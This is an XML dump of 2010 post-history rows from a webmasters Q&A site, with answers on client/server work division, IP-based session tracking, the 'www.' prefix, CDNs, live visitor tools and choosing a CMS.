  <row Id="5405" PostHistoryTypeId="2" PostId="2784" RevisionGUID="dccd1689-09cc-42cf-b537-22a84d50ddd8" CreationDate="2010-09-04T04:35:48.433" UserId="1767" Text="First, no offense if this answer is too obvious or basic. Your use of &quot;separated&quot; instead of terms like Ajax or jQuery makes me assume less experience with this topic. Of course i could be misreading the question, so my apologies if that's the case.&#xD;&#xA;&#xD;&#xA;## Use both, but wisely&#xD;&#xA;&#xD;&#xA;Think of your choice of server-side or client-side tasks in terms of where and how a task is most efficiently done. This will help you render pages quickly (on the server), but offload work to the browser where it makes sense to do so. And, there will be gray areas where you just have to make a judgment call. **Your job is to find a smart division of labor.**&#xD;&#xA;&#xD;&#xA;## What belongs server side?&#xD;&#xA;&#xD;&#xA;(This is an extreme example to illustrate the point.) Say you're writing a web app that does some type of searching. You don't write browser-side Javascript to call a server-side PHP web service to retrieve an entire 2GB database to &quot;free up your server&quot; and offload searching to the user's machine. What you do is get the search terms from the user with a form, POST it back to the server to query the database directly, then send the results back from the server to the browser.&#xD;&#xA;&#xD;&#xA;The logic here is that the DB itself knows how to best do the query, the server is closer to the source data, and less data has to be moved around between components. The browser only needs what it displays, so don't send it all to the browser. (Not to mention relative language performance.)&#xD;&#xA;&#xD;&#xA;## What belongs at the browser?&#xD;&#xA;&#xD;&#xA;Browser side code is your &quot;separated&quot; scenario (if i understand correctly). But for the browser to do most anything intelligent, it has to have server cooperation.&#xD;&#xA;&#xD;&#xA;Okay, you've got your search app working but you want to spruce it up with some fancy pant Ajax. Write a PHP web service to take a few letters and return matching search terms, a la the search suggest feature of Bing, Google, etc. Write your browser code to only suggest terms after the user's typed in three or four, so your suggest list is small. Back at the server, index your database on that field so the search is fast fast fast.&#xD;&#xA;&#xD;&#xA;Here the thinking is that &quot;search suggest&quot; is a feature that *must* be split between the server and client. The browser can quickly deal with targeted, small-ish piles of data. The server can get that targeted, small-ish pile of data and give it to the client. An poor division would be for the server to render a monster list (of say, 500,000 items) of possible field values as an XML island embedded in the HTML page, then have the browser search that as the user types.&#xD;&#xA;&#xD;&#xA;## Where's the gray area?&#xD;&#xA;&#xD;&#xA;Here again it's a judgment call. Above, i talked about the server doing the search, then sending the results to the browser. But, the question arises, do you let the browser submit the search terms with the form and have the server render the result page, or do you use client-side Ajax/Javascript to send the search terms and retrieve the results, then render it in a DIV to avoid a page refresh? Both are valid. Resource-wise, there's no real benefit either way. The Ajax way can provide a better user experience but, depending on your app and the circumstances, might present some other challenges (e.g. security).&#xD;&#xA;&#xD;&#xA;## Bottom line&#xD;&#xA;&#xD;&#xA;Use both appropriately. Don't skimp on thinking and learning about architectural performance and efficiency. Move less data, fewer times. You'll take a load off your servers, your databases, and your users' browsers." />
  <row Id="5406" PostHistoryTypeId="2" PostId="2785" RevisionGUID="4963a258-5203-4a00-8426-00e2acc4baef" CreationDate="2010-09-04T06:49:55.273" UserId="1757" Text="I have to admit that I nearly fell for this type of spec work myself. I think it's petty to get up in arms about other developers underbidding you or working for free (hey, it's their time), but I agree with Virtuosi Media; it's definitely not a smart thing to do. There are plenty of serious clients out there willing to pay serious money for a qualified designer/developer. The time you spend working on a project for free could be better spent looking for a client that will net you hundreds or thousands of times the return (or infinite times the return if the spec work doesn't net you a single penny).&#xD;&#xA;&#xD;&#xA;Here's my suggestion: speculate on yourself&amp;mdash;that is, speculate on your talent, your creativity, and your ability. If you're going to be working for free on vague promises of reward, then either launch your own website/app/community, or spend some of your time/resources on advertising your web design business. Come up with a creative marketing scheme and get your name out there. You'll still be working for free in the short-run, but you're working for free for yourself." />
  <row Id="5407" PostHistoryTypeId="2" PostId="2786" RevisionGUID="a6ec9895-e013-4943-add1-e2796b214174" CreationDate="2010-09-04T11:38:48.800" UserId="1204" Text="I don't think it is common on residential ISPs, but the proxy arrangement used for all outgoing HTTP(S) traffic by one of our major clients (a well known UK bank who for contractual reasons will need to remain nameless at this point) sometimes makes it look like their users switch IP address every few minutes, even sometimes in the middle of a block of requests for sub-objects (images, and so forth) on the same page, so using the exact IPv4 address as part of your session tracking is a bad idea in case some of your users are behind a similar arrangement.&#xD;&#xA;&#xD;&#xA;In the case we have seen the addresses given out where within the same /24 range, and not the whole range, though to be extra safe I would recommend sticking to at most the first two octets of the IP address. &#xD;&#xA;&#xD;&#xA;Even then you might inconvenience people if they use you app while travelling. For instance I sometimes have a webmail session open while travelling with my netbook - this can start on my home wireless, then move to the free wireless at the train station, then to my mobile phone provider if the train I end up on has no on-board wireless, then to another free wireless AP, then to what-ever network I use at my destination. All without ever logging out from Zimba (it is just there and working each time I unsleep the netbook and connect to what-ever is available) - I could flip between a couple of /16s on such a journey. Of course this is an edge case and may never affect enough of your users to make it worth considering in your plans - especially given all but the most picky users would be OK with needing to login again when they switch from home network to a mobile network.&#xD;&#xA;&#xD;&#xA;Session hijacking is hard to block completely. If the hijacker can inspect the traffic between client and server than *anything* you send back and forth by over an unencrypted channel is easy to mimic and if the hijacker has managed to work from a host on the route between client and server they could even fake requests that appear to come from the right IP address so that wouldn't always help you. To stop session hijacking completely you need to use HTTPS (and if you want to feel really paranoid: if the attacker has some way of or gaining access to (or faking) your certificate HTTPS this does not stop MiTM session startup proxying based attacks). I suppose you could also implement something like DH key exchange to decide a shared key without transmitting it, and use that plus the current time plus some salt to make a hash that the server can veryify, but I very much doubt that would be practical (on a decent CPU with a modern JS engine as found in FF3.5+, Chrome, or similar you might be able to do the initial DH exchange for useful key sizes fast enough, but no mobile IE user will be able to get in inside a week).&#xD;&#xA;&#xD;&#xA;One final problem with using the requester's IP address as part of your session tracking: if they are behind a NAT arrangement they could be sharing that IP address with hundreds of users. When connected to my 3G provider I get an address in the officially unrouted 10.x.x.x range - I don't know how many public facing addresses my requests could be seen to come from but it is possible that I share one public address with thousands of people at this point (I definitely won't have a public address to myself).&#xD;&#xA;&#xD;&#xA;Long story short: the client's IP address isn't as good as you'd think for tracking sessions, though using the first two octets would offer some extra protection on top of what-ever other session tokens you use, without inconveniencing more than a few users." />
  <row Id="5408" PostHistoryTypeId="2" PostId="2787" RevisionGUID="fbe900eb-ddd7-44c1-ac3b-b8151723c161" CreationDate="2010-09-04T14:15:03.250" UserId="55" Text="There are lots of very big ifs here:&#xD;&#xA;&#xD;&#xA; 1. How will they be marketing the site once completed? How much traffic will it receive?&#xD;&#xA; 2. Will Google show ads that actually convert to clicks?&#xD;&#xA; 3. Will 'your design' be blamed if the site fails to convert at all? Are the responsibilities of others clearly defined?&#xD;&#xA;&#xD;&#xA;In my experience, these types of arrangements _never_ work and often end in quite a bit of animosity. I would not do it.&#xD;&#xA;&#xD;&#xA;An idea, unless implemented is worth nothing whatsoever. If this site will really be the 'cat's meow', coming up with a couple of thousand bucks to have it done correctly should not be an obstacle at all.&#xD;&#xA;&#xD;&#xA;It sounds to me like other people lack cash and want to capitalize an idea with your time. You're a web developer, not a bank :)&#xD;&#xA;&#xD;&#xA;I'd walk away from it with a polite 'no thanks' and provide them a quote to do the work on contract in case their circumstances change." />
  <row Id="5409" PostHistoryTypeId="2" PostId="2788" RevisionGUID="c67688aa-8400-4893-b3e4-a8081a8f8cec" CreationDate="2010-09-04T17:24:21.750" UserId="1855" Text="Just curious...&#xD;&#xA;&#xD;&#xA;Not sure how many domains are actually visited directly like that - I'm guessing it would be impossible to know exactly - but what would be a rough estimate?" />
  <row Id="5410" PostHistoryTypeId="1" PostId="2788" RevisionGUID="c67688aa-8400-4893-b3e4-a8081a8f8cec" CreationDate="2010-09-04T17:24:21.750" UserId="1855" Text="How many keystrokes would be saved per day, if every site dropped the 'www.' part of their site?" />
  <row Id="5411" PostHistoryTypeId="3" PostId="2788" RevisionGUID="c67688aa-8400-4893-b3e4-a8081a8f8cec" CreationDate="2010-09-04T17:24:21.750" UserId="1855" Text="&lt;statistics&gt;&lt;metrics&gt;" />
  <row Id="5412" PostHistoryTypeId="2" PostId="2789" RevisionGUID="ae6f9800-fd81-4bb4-babe-a79595b0c38a" CreationDate="2010-09-04T18:18:58.863" UserId="1514" Text="According to [pingdom][1], there were 234 million websites online in 2009, so it would be fair to say that if each website gets hit at least once, you'd save close to a billion keystrokes.&#xD;&#xA;&#xD;&#xA;The more relevant point for webmasters, I think, is to support both variants (www. and not), but ensure that the website is set up to 301-redirect to one or the other to maintain a single canonical address for the benefit of search engine bots (SEO).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://royal.pingdom.com/2010/01/22/internet-2009-in-numbers/" />
  <row Id="5413" PostHistoryTypeId="5" PostId="2784" RevisionGUID="a2eebb25-5f00-4c17-bd9a-c458219207ed" CreationDate="2010-09-04T19:11:43.200" UserId="1767" Comment="Day-light edits for clarity, typos, etc." Text="First, no offense if this answer is too obvious or basic. Your use of &quot;separated&quot; instead of terms like Ajax or jQuery makes me assume less experience with this topic. Of course i could be misreading the question, so my apologies if that's the case.&#xD;&#xA;&#xD;&#xA;## Use both, but wisely&#xD;&#xA;&#xD;&#xA;Think of your choice of server-side or client-side tasks in terms of where and how a task is most efficiently done. This will help you render pages quickly (on the server), but offload work to the browser where it makes sense to do so. And, there will be gray areas where you just have to make a judgment call. **Your job is to find a smart division of labor.**&#xD;&#xA;&#xD;&#xA;## What belongs server side?&#xD;&#xA;&#xD;&#xA;(This is an extreme example to illustrate the point.) Say you're writing a web app that does some type of searching. You don't write browser-side Javascript to call a server-side PHP web service to retrieve an entire 2GB database to &quot;free up your server&quot; and offload searching to the user's machine. What you do is get the search terms from the user with a form, POST it back to the server to query the database directly, then send the results back from the server to the browser.&#xD;&#xA;&#xD;&#xA;The logic here is that the DB itself knows how to best do the query, the server is closer to the source data, and less data has to be moved around between components. The browser only needs what it displays, so don't send it all to the browser. (Not to mention relative language performance.)&#xD;&#xA;&#xD;&#xA;## What belongs at the browser?&#xD;&#xA;&#xD;&#xA;Browser side code is your &quot;separated&quot; scenario (if i understand correctly). But for the browser to do most anything intelligent, it has to have server cooperation.&#xD;&#xA;&#xD;&#xA;Okay, you've got your search app working but you want to spruce it up with some fancy pants Ajax. Write a PHP web service to take a few letters and return matching search terms, *a la* the &quot;search suggest&quot; feature of Bing, Google, etc. Write your browser code to only suggest terms after the user's typed in three or four letters, so your suggest list is small. Back at the server, index your database on that field so the search is fast fast fast.&#xD;&#xA;&#xD;&#xA;Here the thinking is that &quot;search suggest&quot; is a feature that *must* be split between the server and client. The browser can quickly deal with targeted, small-ish piles of data. The server can get that targeted, small-ish pile of data and give it to the client. A poor division would be for the server to render a monster list (of say, 500,000 items) of possible field values as an XML island embedded in the HTML page, then have the browser search that as the user types. (a) sending all that data to the browser is slow, (b) searching it in Javascript will *never* be as fast as letting the DB search it, and (c) you're likely to blow up a user's machine by cramming all that data into their browser app space. On the other hand, you need to make *sure* that the Ajax call to the server, and the subsequent query and return are super-fast. No dilly-dallying around.&#xD;&#xA;&#xD;&#xA;## Where's the gray area?&#xD;&#xA;&#xD;&#xA;Here again it's a judgment call. Above, i talked about the server doing the search, then sending the results to the browser. But, the question arises, do you let the browser submit the search terms with the form and have the server render the result page, or do you use client-side Ajax/Javascript to send the search terms and retrieve the results, then render it in a DIV to avoid a page refresh? Both are valid. Resource-wise, there's no real benefit either way. The Ajax way can provide a better user experience but, depending on your app and the circumstances, might present some other challenges (e.g. security).&#xD;&#xA;&#xD;&#xA;## Bottom line&#xD;&#xA;&#xD;&#xA;Use both appropriately. Don't skimp on thinking and learning about architectural performance and efficiency. Move less data, fewer times. You'll take a load off your servers, your databases, and your users' browsers." />
  <row Id="5414" PostHistoryTypeId="2" PostId="2790" RevisionGUID="e1ad058b-7b88-4fe2-b878-3ea4f400c46f" CreationDate="2010-09-04T21:18:01.183" UserId="1857" Text="**Practically *zero*. Because:**&#xD;&#xA;&#xD;&#xA; 1. The vast majority of users don't type in URLs anymore. They type the company name / domain name into a Google search box in the browser chrome, and go to the first result Google returns.&#xD;&#xA; 2. If users expect to revisit your site often, they'll bookmark it.&#xD;&#xA;" />
  <row Id="5415" PostHistoryTypeId="2" PostId="2791" RevisionGUID="4eb616f3-bceb-4467-a152-54256d054fe5" CreationDate="2010-09-04T21:31:08.393" UserId="1857" Text="As Oscar Cabrero has already answered, you probably want a CDN and not true multisite hosting.&#xD;&#xA;&#xD;&#xA;*Static* websites can be hosted on several continents with relative ease. *Dynamic* websites cannot -- replicating a (large) dynamic dataset (i.e. what is in your database) across slow and unreliable WAN links is a very hard problem to solve well.&#xD;&#xA;&#xD;&#xA;So you want to keep all your dynamic content (i.e. your HTML generation) on one LAN, and move static content to a content delivery network.&#xD;&#xA;&#xD;&#xA;[Cloudharmony][1] and [Paessler][2] have good tools to test and information about the CDNs out there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudharmony.com/speedtest&#xD;&#xA;  [2]: http://www.paessler.com/blog/2010/05/17/networking-basics/real-world-performance-comparison-of-cdn-content-delivery-network-providers" />
  <row Id="5416" PostHistoryTypeId="5" PostId="2791" RevisionGUID="ea9d7a97-b4ef-4e43-a7ed-20b209104026" CreationDate="2010-09-04T21:38:56.370" UserId="1857" Comment="added 743 characters in body" Text="As Oscar Cabrero has already answered, you probably want a CDN and not true multisite hosting.&#xD;&#xA;&#xD;&#xA;*Static* websites can be hosted on several continents with relative ease. *Dynamic* websites cannot -- replicating a (large) dynamic dataset (i.e. what is in your database) across slow and unreliable WAN links is a very hard problem to solve well.&#xD;&#xA;&#xD;&#xA;So you want to keep all your dynamic content (i.e. your HTML generation) on one LAN, and move static content to a content delivery network.&#xD;&#xA;&#xD;&#xA;[Cloudharmony][1] and [Paessler][2] have good tools to test and information about the CDNs out there.&#xD;&#xA;&#xD;&#xA;**Assuming you want to build a multisite dynamic website nevertheless:**&#xD;&#xA;&#xD;&#xA;&gt; Are there any pitfalls to watch out for?&#xD;&#xA;&#xD;&#xA;Oh yes, many. Mostly in silent corruption of replicated data, or broken / stale / delayed replication.&#xD;&#xA;&#xD;&#xA;&gt; Should I have separate domains for each area e.g. .com .co.uk etc&#xD;&#xA;&#xD;&#xA;Completely up to you. If your sites are very regional / local in nature, then a local TLD may work best (i.e. .co.uk, .de etc).&#xD;&#xA;&#xD;&#xA;&gt; Do I have a database per host?&#xD;&#xA;&#xD;&#xA;At least one database server per site you're hosting from, yes.&#xD;&#xA;&#xD;&#xA;&gt; How would I keep the databases up-to-date?&#xD;&#xA;&#xD;&#xA;Your database engine's replication mechanism. Most databases have this. There are more complex solutions for high-end needs, but this is where you should start.&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudharmony.com/speedtest&#xD;&#xA;  [2]: http://www.paessler.com/blog/2010/05/17/networking-basics/real-world-performance-comparison-of-cdn-content-delivery-network-providers" />
  <row Id="5417" PostHistoryTypeId="2" PostId="2792" RevisionGUID="b5d1c317-3c39-4350-b58c-d2f7513ff822" CreationDate="2010-09-05T05:47:17.080" UserId="745" Text="Earlier this year, a blog called ReadWriteWeb wrote a post about Facebook's login process. Because it's a popular blog, it soon appeared near the top for the search query, &quot;Facebook login&quot;. Facebook users began to confuse ReadWriteWeb with Facebook and became angry when they weren't able to login. The ensuing comments are priceless and I really wouldn't do it justice to try to describe them, so I'll just [link to the post][1].&#xD;&#xA;&#xD;&#xA;A few days later, UX Magazine wrote a post [covering the incident][2]. In it, they also shared a video in which people on the street were asked what a browser is. If you've ever enjoyed watching Jay Leno's Jaywalking segment, you'll enjoy the video. If you make websites for a living (or browsers), you'll probably laugh nervously for a moment and then sob uncontrollably.&#xD;&#xA;&#xD;&#xA;The point is, as webmasters, we really need to support as many different ways to access our sites as possible. Technology is a huge hurdle for many people and they do their best to scrape by, but for most, they're lucky if they can find what they're looking for. Even the supposedly tech savvy younger generation [doesn't fare so well][3]. Would it make sense to get rid of the www altogether? Probably, but it would also cause a lot of confusion and so it's important to support both. &#xD;&#xA;&#xD;&#xA;In general, anything that you can do to make it easier on the user, you should do. Users aren't dumb, but I think we can sometimes fool ourselves into believing that our field and tech skills are shared by more people than reality would seem to indicate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.readwriteweb.com/archives/facebook_wants_to_be_your_one_true_login.php&#xD;&#xA;  [2]: http://www.uxmag.com/short-news/these-are-your-users-read-and-be-horrified&#xD;&#xA;  [3]: http://www.readwriteweb.com/archives/so-called_digital_natives_not_media_savvy_new_study_shows.php" />
  <row Id="5418" PostHistoryTypeId="2" PostId="2793" RevisionGUID="16b5a071-2d1d-4cbd-b8b9-83ea743bc71f" CreationDate="2010-09-05T07:17:52.437" UserId="231" Text="I'm looking for a tool/script/method to see live who's visiting my web site at any given time. My site uses the LAMP stack.&#xD;&#xA;&#xD;&#xA;Any suggestion is appreciated.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="5419" PostHistoryTypeId="1" PostId="2793" RevisionGUID="16b5a071-2d1d-4cbd-b8b9-83ea743bc71f" CreationDate="2010-09-05T07:17:52.437" UserId="231" Text="Live view of online visitors" />
  <row Id="5420" PostHistoryTypeId="3" PostId="2793" RevisionGUID="16b5a071-2d1d-4cbd-b8b9-83ea743bc71f" CreationDate="2010-09-05T07:17:52.437" UserId="231" Text="&lt;lamp&gt;&lt;live&gt;&lt;visitors&gt;" />
  <row Id="5421" PostHistoryTypeId="2" PostId="2794" RevisionGUID="a112b92c-6a71-4a26-a1e4-2add2892adce" CreationDate="2010-09-05T09:35:27.200" UserId="1514" Text="Try [HitsLink][1] -- they present data near real-time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hitslink.com/" />
  <row Id="5422" PostHistoryTypeId="2" PostId="2795" RevisionGUID="2eda520d-13e9-4245-a83f-0e47c6442cc4" CreationDate="2010-09-05T12:04:12.690" UserId="1253" Text="Here's [one tutorial][1], and [another][2], and [another][3]. In fact [Google turns up a bunch of them][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tutorialzine.com/2010/03/who-is-online-widget-php-mysql-jquery/&#xD;&#xA;  [2]: http://www.devarticles.com/c/a/PHP/The-Quickest-Way-To-Count-Users-Online-With-PHP/1/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/1051895/whats-the-easiest-way-to-determine-is-a-user-in-online-php-mysql&#xD;&#xA;  [4]: http://www.google.com/search?q=php%20mysql%20users%20online#hl=en&amp;q=php+mysql+display+users+online&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=php+mysql+display+users+online&amp;gs_rfai=&amp;pbx=1&amp;fp=f36d3c22a357aa92" />
  <row Id="5423" PostHistoryTypeId="5" PostId="2790" RevisionGUID="729821e8-06c9-4003-ba7f-2a76b0d76b5f" CreationDate="2010-09-05T12:39:05.890" UserId="1857" Comment="added 2148 characters in body" Text="**Practically *zero*. Because:**&#xD;&#xA;&#xD;&#xA; 1. The vast majority of users don't type in URLs anymore. They type the company name / domain name into a Google search box in the browser chrome, and go to the first result Google returns.&#xD;&#xA; 2. If users expect to revisit your site often, they'll bookmark it.&#xD;&#xA;&#xD;&#xA;**Update:** I'll add a bit based on the good comments and answers given by others in this thread.&#xD;&#xA;&#xD;&#xA;I believe **all webmasters should do the right thing, and normalize their URLs** with HTTP redirects to their preferred site address, with or without the &quot;www.&quot; prefix as they see fit.&#xD;&#xA;&#xD;&#xA;With prefix normalization in place, the whole argument about typing domain names directly versus searching is moot. In all cases, &quot;www.&quot; or not; search or direct input; the user will arrive at the right place in the first try.&#xD;&#xA;&#xD;&#xA;**To use or to omit &quot;www.&quot; based on personal taste, fashion whims, or perceptions of what is common in your target market *is completely okay*.** Just help the users who do the opposite with a redirect.&#xD;&#xA;&#xD;&#xA;What I disagree with is the notion that we should all remove &quot;www.&quot; *because of the external ''rational'' motives of efficiency or usability*. ASCII characters are not an endangered species; nobody is being hurt if the server automatically adds the prefix.&#xD;&#xA;&#xD;&#xA;**When does the prefix matter for end users?** On print advertisements, TV and other offline media. In this case you need something to communicate to the user that he's seeing a web address. If you're not promoting &quot;www.&quot;, then that something is &quot;http://&quot;, which certainly isn't shorter or prettier than &quot;www.&quot;.&#xD;&#xA;&#xD;&#xA;**When does the prefix matter for the technology side?**&#xD;&#xA;&#xD;&#xA; - If your site gets very, very large and you need to implement global server load balancing (GSLB), then having &quot;www.&quot; is a little bit neater. It gives you a separate DNS subzone that you can delegate to your GSLB. But there are ways to handle this without &quot;www.&quot; too.&#xD;&#xA; - If you are not using &quot;www.&quot;, then keep in mind that [cookies set by &quot;domain.com&quot; apply to &quot;*.domain.com&quot; as well][1]. Again, not a real problem, something you can either accept or work around if you want to.&#xD;&#xA;&#xD;&#xA;Use &quot;www.&quot; or not, as you prefer. Just own up to the fact that it was a matter of person taste, and not a choice dictated by usability, efficiency, or technological considerations. And set up 301 redirects to the right domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2008/06/dropping-the-www-prefix/" />
  <row Id="5424" PostHistoryTypeId="5" PostId="2790" RevisionGUID="201b5f62-c7fb-4ca3-b1f7-ee25780009d3" CreationDate="2010-09-05T12:46:10.740" UserId="1857" Comment="added 28 characters in body" Text="**Practically *zero*. Because:**&#xD;&#xA;&#xD;&#xA; 1. The vast majority of users don't type in URLs anymore. They type the company name / domain name into a Google search box in the browser chrome, and go to the first result Google returns.&#xD;&#xA; 2. If users expect to revisit your site often, they'll bookmark it.&#xD;&#xA;&#xD;&#xA;**Update:** I'll add a bit based on the good comments and answers given by others in this thread.&#xD;&#xA;&#xD;&#xA;I believe **all webmasters should do the right thing, and normalize their URLs** with HTTP redirects to their preferred site address, with or without the &quot;www.&quot; prefix as they see fit.&#xD;&#xA;&#xD;&#xA;With prefix normalization in place, the whole argument about typing domain names directly versus searching is moot. In all cases, &quot;www.&quot; or not; search or direct input; the user will arrive at the right place in the first try.&#xD;&#xA;&#xD;&#xA;**To use or to omit &quot;www.&quot; based on personal taste, fashion whims, or perceptions of what is common in your target market *is completely okay*.** Just help the users who do the opposite with a redirect.&#xD;&#xA;&#xD;&#xA;What I disagree with is the notion that we should all remove &quot;www.&quot; *because of the external ''rational'' motives of efficiency or usability*. ASCII characters are not an endangered species; nobody is being hurt if the server automatically adds the prefix.&#xD;&#xA;&#xD;&#xA;**When does the prefix matter for end users?** On print advertisements, TV and other offline media. In this case you need something to communicate to the user that he's seeing a web address. If you're not promoting &quot;www.&quot;, then that something is &quot;http://&quot;, which certainly isn't shorter or prettier than &quot;www.&quot;.&#xD;&#xA;&#xD;&#xA;**When does the prefix matter for the technology side?**&#xD;&#xA;&#xD;&#xA; - If your site gets very, very large and you need to implement global server load balancing (GSLB), then having &quot;www.&quot; is a little bit neater. It gives you a separate DNS subzone that you can delegate to your GSLB or set up as a CNAME. But there are ways to make this work without the &quot;www.&quot; too.&#xD;&#xA; - If you are not using &quot;www.&quot;, then keep in mind that [cookies set by &quot;domain.com&quot; apply to &quot;*.domain.com&quot; as well][1]. Again, not a real problem, something you can either accept or work around if you want to.&#xD;&#xA;&#xD;&#xA;Use &quot;www.&quot; or not, as you prefer. Just own up to the fact that it was a matter of person taste, and not a choice dictated by usability, efficiency, or technological considerations. And set up 301 redirects to the right domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2008/06/dropping-the-www-prefix/" />
  <row Id="5425" PostHistoryTypeId="5" PostId="2791" RevisionGUID="d4031dea-11ef-48ad-abf5-a9812b12abfb" CreationDate="2010-09-05T13:01:37.677" UserId="1857" Comment="added 71 characters in body; added 4 characters in body" Text="As Oscar Cabrero has already answered, you probably want a CDN and not true multisite hosting.&#xD;&#xA;&#xD;&#xA;*Static* websites can be hosted on several continents with relative ease. *Dynamic* websites cannot -- replicating a (large) dynamic dataset (i.e. what is in your database) across slow and unreliable WAN links is a very hard problem to solve well.&#xD;&#xA;&#xD;&#xA;So you want to keep all your dynamic content (i.e. your HTML generation) on one LAN, and move your static content (logo images, CSS, JS) to a content delivery network.&#xD;&#xA;&#xD;&#xA;[Cloudharmony][1] has a test tool and some good blog entries about CDNs. [Paessler][2] has a performance overview and qualified CDN recommendations.&#xD;&#xA;&#xD;&#xA;**Assuming you want to build a multisite dynamic website nevertheless:**&#xD;&#xA;&#xD;&#xA;&gt; Are there any pitfalls to watch out for?&#xD;&#xA;&#xD;&#xA;Oh yes, many. Mostly in silent corruption of replicated data, or broken / stale / delayed replication.&#xD;&#xA;&#xD;&#xA;&gt; Should I have separate domains for each area e.g. .com .co.uk etc&#xD;&#xA;&#xD;&#xA;Completely up to you. If your sites are very regional / local in nature, then a local TLD may work best (i.e. .co.uk, .de etc).&#xD;&#xA;&#xD;&#xA;&gt; Do I have a database per host?&#xD;&#xA;&#xD;&#xA;At least one database server per site you're hosting from, yes.&#xD;&#xA;&#xD;&#xA;&gt; How would I keep the databases up-to-date?&#xD;&#xA;&#xD;&#xA;Your database engine's replication mechanism. Most databases have this. There are more complex solutions for high-end needs, but this is where you should start.&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudharmony.com/speedtest&#xD;&#xA;  [2]: http://www.paessler.com/blog/2010/05/17/networking-basics/real-world-performance-comparison-of-cdn-content-delivery-network-providers" />
  <row Id="5426" PostHistoryTypeId="2" PostId="2796" RevisionGUID="5ece774a-fd02-482f-8d41-20e608a3423b" CreationDate="2010-09-05T13:11:51.250" UserId="1273" Text="#Exactly [87 million][1] keystrokes.&#xD;&#xA;&#xD;&#xA;![Dilbert strip][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dilbert.com/strips/comic/2008-05-08/&#xD;&#xA;  [2]: http://i.stack.imgur.com/xTH1c.gif" />
  <row Id="5427" PostHistoryTypeId="5" PostId="2795" RevisionGUID="7a38b6e6-6586-4432-ab19-16bcb3a3e4c0" CreationDate="2010-09-05T16:50:17.317" UserId="1253" Comment="deleted 3 characters in body" Text="Here's [one tutorial][1], and [another][2], and [another][3]. [Google also turns up a bunch of them][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tutorialzine.com/2010/03/who-is-online-widget-php-mysql-jquery/&#xD;&#xA;  [2]: http://www.devarticles.com/c/a/PHP/The-Quickest-Way-To-Count-Users-Online-With-PHP/1/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/1051895/whats-the-easiest-way-to-determine-is-a-user-in-online-php-mysql&#xD;&#xA;  [4]: http://www.google.com/search?q=php%20mysql%20users%20online#hl=en&amp;q=php+mysql+display+users+online&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=php+mysql+display+users+online&amp;gs_rfai=&amp;pbx=1&amp;fp=f36d3c22a357aa92" />
  <row Id="5428" PostHistoryTypeId="2" PostId="2797" RevisionGUID="d479fa61-ace5-4431-b4b8-846f63653043" CreationDate="2010-09-05T17:12:43.673" UserId="1862" Text="what's the better CMS/theme for a review site? It will be a site about movie reviews from editors, and visitors should comment the review.&#xD;&#xA;I'm looking for something simple to implement." />
  <row Id="5429" PostHistoryTypeId="1" PostId="2797" RevisionGUID="d479fa61-ace5-4431-b4b8-846f63653043" CreationDate="2010-09-05T17:12:43.673" UserId="1862" Text="CMS for a review site" />
  <row Id="5430" PostHistoryTypeId="3" PostId="2797" RevisionGUID="d479fa61-ace5-4431-b4b8-846f63653043" CreationDate="2010-09-05T17:12:43.673" UserId="1862" Text="&lt;cms&gt;" />
  <row Id="5431" PostHistoryTypeId="2" PostId="2798" RevisionGUID="1e2e4617-dc78-480b-8a29-182e91d689ed" CreationDate="2010-09-05T17:37:14.510" UserId="1253" Text="[Wordpress][1] sounds ideal for this. It's designed for you to write content and users to comment on it. It's very easy to set up (it's install is [famously only takes 5 minutes to do][2]) and it is very intuitive to use. Plus you can always customize it with lots of available [themes][3] and [plug-ins][4] and updating it can be as easy as just a couple of clicks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordpress.org&#xD;&#xA;  [2]: http://codex.wordpress.org/Installing_WordPress&#xD;&#xA;  [3]: http://wordpress.org/extend/themes/&#xD;&#xA;  [4]: http://wordpress.org/extend/plugins/" />
  <row Id="5433" PostHistoryTypeId="5" PostId="2798" RevisionGUID="920ad1a3-6c79-4660-9180-f923a6f339fd" CreationDate="2010-09-05T22:31:08.183" UserId="1253" Comment="deleted 3 characters in body" Text="[Wordpress][1] sounds ideal for this. It's designed for you to write content and users to comment on it. It's very easy to set up (it's install [famously only takes 5 minutes to do][2]) and it is very intuitive to use. Plus you can always customize it with lots of available [themes][3] and [plug-ins][4] and updating it can be as easy as just a couple of clicks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordpress.org&#xD;&#xA;  [2]: http://codex.wordpress.org/Installing_WordPress&#xD;&#xA;  [3]: http://wordpress.org/extend/themes/&#xD;&#xA;  [4]: http://wordpress.org/extend/plugins/" />
